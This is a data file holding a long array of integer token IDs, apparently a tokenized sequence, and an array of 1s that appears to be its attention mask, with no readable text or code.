291, 14, 629, 8, 2373, 459, 1972, 63, 344, 995, 9005, 14, 11123, 908, 8, 1308, 12, 2518, 430, 398, 2518, 275, 283, 32050, 63, 1972, 7, 267, 327, 2269, 354, 26, 469, 3710, 26, 26383, 93, 267, 1853, 63, 1130, 275, 791, 3175, 4288, 356, 791, 6462, 356, 283, 6462, 18, 18620, 267, 4355, 63, 7153, 1252, 981, 63, 1130, 63, 2373, 8, 288, 12625, 360, 73, 20, 88, 297, 5981, 12, 2518, 12, 283, 6462, 297, 283, 3175, 4288, 297, 283, 7185, 659, 288, 283, 1421, 63, 1308, 14, 303, 5711, 63, 271, 541, 14, 32050, 63, 1972, 14, 6185, 63, 1065, 297, 288, 283, 87, 711, 297, 288, 283, 6442, 297, 288, 1853, 63, 1130, 9, 267, 2397, 275, 4355, 63, 7153, 1252, 1985, 63, 1130, 14, 1623, 63, 368, 3252, 63, 344, 14, 1308, 356, 5981, 12, 2513, 344, 14, 1972, 356, 2518, 1552, 267, 291, 14, 10389, 8, 2373, 12, 298, 17366, 78, 1133, 2342, 2397, 531, 267, 291, 14, 629, 8, 2373, 459, 1972, 63, 344, 995, 283, 1421, 63, 1308, 14, 303, 5711, 63, 271, 541, 14, 32050, 63, 1972, 14, 6185, 63, 1065, 358, 267, 291, 14, 629, 8, 2373, 459, 7185, 63, 4694, 995, 283, 87, 711, 358, 267, 291, 14, 629, 8, 2373, 459, 8788, 63, 4694, 995, 283, 6442, 358, 267, 291, 14, 629, 8, 2373, 459, 1457, 63, 1130, 995, 1853, 63, 1130, 9, 339, 347, 9028, 63, 78, 63, 1074, 8, 277, 12, 2909, 12, 2269, 63, 2487, 63, 1972, 63, 344, 12, 892, 63, 2487, 63, 2491, 63, 344, 12, 1853, 63, 344, 12, 5246, 12, 1050, 63, 2373, 29, 797, 304, 267, 408, 267, 4784, 7761, 12, 1104, 2559, 63, 344, 12, 1853, 63, 344, 12, 436, 5246, 267, 408, 267, 5128, 63, 6354, 275, 4355, 63, 7153, 1252, 5275, 63, 1985, 8, 288, 2269, 63, 2487, 63, 1972, 63, 344, 12, 288, 2909, 12, 288, 3267, 29, 334, 4694, 6803, 8987, 659, 288, 1050, 63, 2373, 63, 692, 63, 4752, 29, 525, 63, 2373, 267, 776, 267, 291, 14, 629, 8, 6101, 63, 6354, 14, 2491, 63, 344, 12, 892, 63, 2487, 63, 2491, 63, 344, 9, 267, 291, 14, 629, 8, 6101, 63, 6354, 14, 1457, 63, 344, 12, 1853, 63, 344, 9, 267, 291, 14, 629, 8, 6101, 63, 6354, 14, 4694, 12, 5246, 9, 398, 2518, 63, 6354, 275, 4355, 63, 7153, 1252, 5275, 63, 1985, 63, 475, 63, 1972, 63, 6354, 8, 1779, 2269, 63, 2487, 63, 1972, 63, 344, 12, 1779, 2909, 12, 1779, 3267, 2687, 4694, 508, 283, 8987, 659, 267, 776, 267, 291, 14, 629, 8, 1972, 63, 6354, 14, 2491, 63, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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